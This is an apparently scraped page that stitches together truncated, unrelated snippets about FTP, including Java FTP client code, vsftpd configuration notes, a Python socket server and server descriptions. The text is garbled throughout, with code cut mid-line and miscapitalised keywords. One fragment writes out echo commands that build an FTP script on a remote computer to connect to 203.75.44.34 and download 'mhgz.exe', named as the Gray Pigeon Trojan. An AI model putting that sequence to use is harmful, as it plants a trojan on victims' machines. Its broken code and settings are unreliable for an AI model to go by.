Bulletproof FTP Server, formerly known as G6 FTP server. The next generation of FTP Server software, support RFC-959 standards and enhance some of them, upload and download can be conti
Some data exchange needs to be completed through FTP. For FTP clients, Java provides us with powerful class libraries. Common examples include sun.net. FTP. ftpclient and org.apache.commons.net. FTP. ftpclient (provided by Apach ). Both of them are quite useful. In comparison, the latter has better functions. Sun.net.
.
Second, Linux server-side main FTP software: wu-ftpd, VSFTPD, ProFTPDDetails about the software are not discussed here.
Third, configure the VSFTPD serverVSFTPD configuration fileMain program of/USR/SBIN/VSFTPD VSFTPD/ETC/RC.D/INIT.D/VSFTPD startup script/ETC/VSFTPD/VSFTPD.CONF Master configuration file/ETC/PAM.D/VSFTPD Pam Certification File/etc/vsftpd.ftpusers prohibit the use of VSFTPD user list file
This example for you to share the two Java ftp file upload to download the way for you to refer to, the specific content as follows
The first way:
Package com.cloudpower.util;
Import Java.io.File;
Import Java.io.FileInputStream;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Sun.net.TelnetInputStream;
Import Sun.net.TelnetOutputStream;
Import sun.net.ftp.FtpClient; /** * Java-br
The introduction of the socket is not much to say, the internet can be searched, directly say the script, to achieve the function of FTP server and client,Server-side:Importsocketserverimportcommandsimporttimeclassmysockserver ( Socketserver.baserequesthandler): defhandle (self): print "Gotanewconnfrom",self.client_address whileTrue: NBSP;NBSP;NBSP;CMDNBSP;=NBSP;
. Echo tty123> tty.txt Password4. Start echo bin> tty.txt.5. Echo get mhgz.exe> tty.txt download the gray pigeon Trojan6. Echo bye> tty.txt disable the FTP server After the authorization command is input, a tty.txt file is generated on the remote computer with the following content:Open 203.75.44.34TtyTty123BinGet mhgz.exeBye Run the following command on the re
Download the latest package from commons-net and introduce it into the project.
The following is the relevant example code:
Package com.ffcs.icity.common.util;
Import Java.io.File;
Import Java.io.FileInputStream;
Import java.io.FileNotFoundException;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Java.io.InputStream;
Import Java.io.OutputStream;
Import org.apache.commons.net.ftp.FTPClient;
Import Org.apache.commons.net.ftp.FTPFi
download readable files from the FTP server. If the FTP server is deployed within the enterprise and is primarily used by internal employees of the enterprise, it is best to set this parameter to Yes. You can then place files that are publicly available, such as common form
each configuration command, related configuration instructions are also listed in the configuration file. You can use the vi editor to edit and modify the configuration file. The method is as follows:# Vi/etc/vsftpd. conf
1. logon and anonymous user settings
Write_enable = YES // whether to enable write permission for the logon user. Global settings. NO by default
Local_enable = YES // whether to allow local users to log on to the FTP
meaning of VS is "Very Secure". As you can see from the name, the creator of the software has been very focused on its security. In addition to the inherent safety, VSFTP also has high-speed, stable performance characteristics. In terms of stability, vsftp can support more than 4,000 concurrent users at the same time on a stand-alone (non-clustered) connection. According to ftp.redhat.com data, VSFTP can support up to 15,000 concurrent users.
Quickly build an
Recently contacted by a project, the customer needs to build an FTP server. The specific requirements are: The system uses Red Hat 6.4 64-bit operating system, create 20 FTP users, these users have their own independent working directory, and upload, download, delete and other permissions, create an
This article describes how to use Java's existing available libraries to write FTP client code in Java, and develop applet controls to upload and download controls based on the web for bulk, large files. On the basis of comparing a series of FTP client libraries, this paper discusses some common functions such as progress bar, continuous transmission of breakpoin
This article describes how to use Java's existing available libraries to write FTP client code in Java, and develop applet controls to upload and download controls based on the web for bulk, large files. On the basis of comparing a series of FTP client libraries, this paper discusses some common functions such as progress bar, continuous transmission of breakpoin
for anonymous logons, and one for login with an authorized account and password. Among them, the general anonymous login can only download FTP server files, and the transmission speed is relatively slow, of course, this needs to be set on the FTP server, for such users,
FTP is the English abbreviation for file Transfer Protocol (document Transfer Protocol), while Chinese is called "the Protocol". A two-way transmission of control files for use on the Internet. At the same time, it is also an application (application). There are different FTP applications based on different operating systems, and all of these applications adhere to the same protocol to transfer files. In th
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.